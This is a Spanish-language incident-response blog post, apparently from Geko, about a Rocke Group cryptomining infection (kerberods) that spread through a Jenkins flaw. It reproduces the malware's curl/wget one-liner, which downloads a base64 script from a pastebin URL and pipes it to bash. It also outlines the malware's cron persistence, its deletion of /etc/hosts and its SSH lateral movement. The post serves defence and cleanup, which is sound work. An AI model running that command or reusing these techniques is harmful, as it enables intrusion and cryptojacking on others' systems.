Hace unos días atrás, nuestro sistema de alertas nos notificó que varios de los servidores de algunos clientes tenían un crecimiento de carga en el sistema totalmente abrupto, incluso en algún caso se dio un downtime directamente.
Tras entrar en los sistemas, al cabo de un breve análisis inicial del equipo Geko, detectamos que los sistemas habían quedado comprometidos por un ataque a los mismos derivado de una vulnerabilidad de su plataforma Jenkins a través del exploit reconocido CVE-2018-1000861. Para resumir, básicamente permite inyectar y ejecutar código en el servidor.
Este esquema detalla los pasos que hace el script pero resumiento y tras nuestro análisis detectamos básicamente:
- Se ejecuta un curl y un wget que descarga directamente el script en base 64 y lo ejecuta (curl -fsSL https://pastebin.com/raw/B3Ppi9ub||wget -q -O – https://pastebin.com/raw/B3Ppi9ub)| base64 -d | bash
- Dependiendo del sistema operativo tiene un comportamiento u otro
- Instala un servicio llamado netdns en el que hace una llamada a un binario que es el código malware llamado kerberods el cual limita el uso de las CPU’s dedicando todas -1 al minado de cryptomonedas
- Elimina el fichero /etc/hosts
- Instala varios ficheros de cron oanacroane y en varios como el cron de apache que constantemente descargan el código y lo ejecuta por si se pretende detener la amenaza
- El proceso se configura para lanzarse en runlevel 3
- El proceso binario en ejecución se camufla haciendo indetectable
- En sistemas debian detectamos también el proceso watchbdog
- El script inicial además de ejecutar el binario y crear el proceso también accede al fichero known_hosts y trata de saltar mediante claves cruzadas ssh a otros sistemas . Al ser un sistema Jenkins es más que probable que este ataque tenga efecto
Tras varias horas de investigación detectamos que era preciso ejecutar una busybox en el Linux para poder eliminar el proceso enmascarado. Geko utilizó esta: https://busybox.net/downloads/binaries/1.30.0-i686/busybox
Y gracias a algunos procesos del repo https://git.laucyun.com/laucyun y a unos scripts propios conseguimos eliminar la amenaza hasta poder asegurar de nuevo los sistemas y reinstalar los comprometidos.
Hay que tener en cuenta de que los scripts de ataques tienen un nivel de profundidad y de complejidad elevada y a pesar de hacer ingeniería inversa, al tratarse de un repositorio constantemente en mejora por el conjunto de atacantes chinos «Rocke Group» hace prácticamente imposible garantizar 100% que el sistema queda totalmente protegido.
Lo más sorprendente de todo es que a priori se trata de un malware que infecta de forma automática y en el README del repo de código del malware el grupo de atacantes hackers indican que sus intenciones no son romper nada, simplemente identificar vulnerabilidades de seguridad y sacar algo de «tajada» minando cryptomonedas sin ir más allá… incluso detallan la posibilidad de ayudar en caso de que los infectados requieran soporte… cosa que evidentemente no hicimos.
Guía de buenas prácticas :
- Evitar tener los binarios curl y/o wget en nuestros sitemas
- Evitar ejecutar jenkins con usuario root
- Evitar publicar el servicio jenkins, ssh o cualquier servicio o puerto vulnerable
- Tener todos los servicios, SO etc en la última versión de seguridad que el fabricante indique
- Evitar cruzar claves ssh
- Mantener saneamiento de ficheros known_hosts
- Monitorizar los sistemas productivos 24X7 con alertas pre y proactivas
- Verificar siempre el contenido de backup de nuestros sistemas
- Versionar los scripts y ficheros (crons, hosts, etc) para poder recuperar los sistemas en caso de ataque
Os dejamos el enlace a nuestro repositorio público dónde tenéis una primera versión del script de limpieza que utilizamos resumido:
https://github.com/GekoCloud/cryptocurrency-mining-malware-clean-tool
Desde Geko estaremos encantados de poder ayudaros en caso de identificar esta vulnerabilidad en vuestro sistema, contactad a través de info@geko.cloud, contáctanos!